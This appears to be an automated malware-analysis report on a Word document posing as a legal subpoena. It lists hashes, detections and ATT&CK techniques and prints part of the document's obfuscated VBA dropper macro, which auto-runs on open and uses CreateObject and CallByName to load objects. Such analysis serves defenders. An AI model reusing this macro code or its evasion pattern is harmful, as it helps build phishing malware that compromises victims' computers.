Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fc182951ad6119d3…

MALICIOUS

Office (OLE)

112.0 KB Created: 2016-04-27 22:33:00 Authoring application: Microsoft Office Word First seen: 2017-11-29
MD5: 1eb30b21fd4fc51d67f37a25212b27b1 SHA-1: dc18898a4a971330d112ca1a00928fd98c7f5594 SHA-256: fc182951ad6119d31c72eb41ff407fa7a8a9d28bf6c0948da0849594dcc83c40
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro that is designed to execute. Heuristics indicate the use of CreateObject and CallByName, common for loading and executing payloads. The document body mimics a legal subpoena to deceive the user, while the embedded VBA macro is the primary mechanism for malicious execution, likely downloading and running a secondary payload.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-1399074 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-1399074
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15292 bytes
SHA-256: 5b2178372b3b10f60a9079f9ac152cf960201f942dcd01365eb0c65146590590
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function hTNLxDus() As Long
hTNLxDus = 902
End Function
Private Sub Document_Open()
PhYFaOFDytXw9.DDMQoRjo6d
End Sub
Public Sub ATgjAr()
Dim QfScd5 As Object
Dim ihO3wnp As Variant, fxSEPoPytrzV As Integer
Dim j85OvD30lz As String
On Error GoTo lRxiXYrcpKMPKS
Set QfScd5 = dpgsQ9eRd5.Ir2UUDUGwJ(mV4cNqhQRn(XFs8Mb5CHSU.OqcwqVvwJ, 38), PhYFaOFDytXw9.y4dW4Paqca)
fxSEPoPytrzV = pV5078LdA3Ld.CE24LeC5(QfScd5, mV4cNqhQRn(XFs8Mb5CHSU.mvXgFZwK, 114))
If fxSEPoPytrzV <> PhYFaOFDytXw9.AHostVAcVzK21 Then
Err.Raise Number:=1
End If
ihO3wnp = pV5078LdA3Ld.CE24LeC5(QfScd5, mV4cNqhQRn(XFs8Mb5CHSU.kRvlEPX, 294))
j85OvD30lz = PhYFaOFDytXw9.K8VFl2 & PhYFaOFDytXw9.agKo5o6wW & PhYFaOFDytXw9.AM1G8nMHxwsb
dpgsQ9eRd5.RHIsQQXzamNRtmh j85OvD30lz, ihO3wnp
dpgsQ9eRd5.v1ARktfJL2lUt j85OvD30lz
Exit Sub
lRxiXYrcpKMPKS:
End Sub
Private Sub vujaSPpe()
OeYPABSxa
End Sub

Attribute VB_Name = "XFs8Mb5CHSU"
Attribute VB_Base = "0{57715FA5-D2C4-4B5D-91C9-CC408EC6C0DC}{C3A5A30F-FE92-4A50-B34B-21B3EEA4D891}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "pV5078LdA3Ld"
Private Const prjSEsmZlfYFeUR As Long = 2314
Private Const pWiMdxArmteG As Long = 4893
Private Function hSwkIYRvJMO() As Integer
hSwkIYRvJMO = 3267
End Function
Public Sub tmQN9NYLgV8(ByVal e8BNpUbbbycg As Object, ByVal KR7UG5nruz As String)
CallByName e8BNpUbbbycg, KR7UG5nruz, 1
End Sub
Public Function CE24LeC5(ByVal e8BNpUbbbycg As Object, ByVal jKJo3WQIsbgPiH As String) As Variant
CE24LeC5 = CallByName(e8BNpUbbbycg, jKJo3WQIsbgPiH, 2)
End Function
Public Function uikE875oaX8q1(ByVal ysmMKr As String) As Object
Set uikE875oaX8q1 = CreateObject(ysmMKr)
End Function
Public Function aWTQyzC2iOKD(ByVal e8BNpUbbbycg As Object, ByVal KR7UG5nruz As String, ByVal zTdHsv As Variant) As Variant
Set aWTQyzC2iOKD = CallByName(e8BNpUbbbycg, KR7UG5nruz, 1, zTdHsv)
End Function
Public Function uoYPb1(ByVal MEy3tFNOhauiqcc As Variant) As Variant
Set uoYPb1 = GetObject(MEy3tFNOhauiqcc)
End Function
Public Function l7aZ8S3X(ByVal e8BNpUbbbycg As Object, ByVal KR7UG5nruz As String, ByVal zTdHsv As Variant)
l7aZ8S3X = CallByName(e8BNpUbbbycg, KR7UG5nruz, 1, zTdHsv)
End Function
Public Sub GnKAw3jL7nRs2()
Application.Run PhYFaOFDytXw9.VKUZi2aE6IIf
End Sub
Private Function FCireLGksxUqbpow() As Variant
FCireLGksxUqbpow = PhYFaOFDytXw9.mV4cNqhQRn(XFs8Mb5CHSU.vnlzyaH, 456)
End Function
Public Function zJCApTh7DPrJc66(ByVal e8BNpUbbbycg As Object, ByVal KR7UG5nruz As String, ByVal lYBRuHlQQ As Variant, ByVal xTGXWi As Variant, ByVal kijgCNlt3I As Variant) As Variant
zJCApTh7DPrJc66 = CallByName(e8BNpUbbbycg, KR7UG5nruz, 1, lYBRuHlQQ, xTGXWi, kijgCNlt3I)
End Function
Public Sub m2zgLvK1NE3B(ByVal e8BNpUbbbycg As Object, ByVal jKJo3WQIsbgPiH As String, ByVal rlcX0yZ As Variant)
CallByName e8BNpUbbbycg, jKJo3WQIsbgPiH, 4, rlcX0yZ
End Sub
Public Sub GY9zkfrKLHTQzgN(ByVal e8BNpUbbbycg As Variant, ByVal KR7UG5nruz As Variant, ByVal lYBRuHlQQ As Variant, ByVal xTGXWi As Variant)
CallByName e8BNpUbbbycg, KR7UG5nruz, 1, lYBRuHlQQ, xTGXWi
End Sub
Private Function mlpEkwWFYqHcUXQ() As Variant
mlpEkwWFYqHcUXQ = PhYFaOFDytXw9.mV4cNqhQRn(XFs8Mb5CHSU.OYhFtpp, 318)
End Function
Public Sub nVpZOWq(ByVal e8BNpUbbbycg As Object, ByVal KR7UG5nruz As String, ByVal zTdHsv As Variant)
CallByName e8BNpUbbbycg, KR7UG5nruz, 1, zTdHsv
End Sub

Attribute VB_Name = "HfZxJwWof"
Private Const LCDlxm As String = "N5ohIw16B7EsUWC"
Private Const lIbntD As String = "wXnOBF1RD537Hm9Y6g"
Public Function ltqsiEr() As Boolean
Dim hAA78SvDl6kABD As String
Dim tVMG80njxnyN As Object
Dim H4SLWr6iMWR As Variant
Dim PF
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.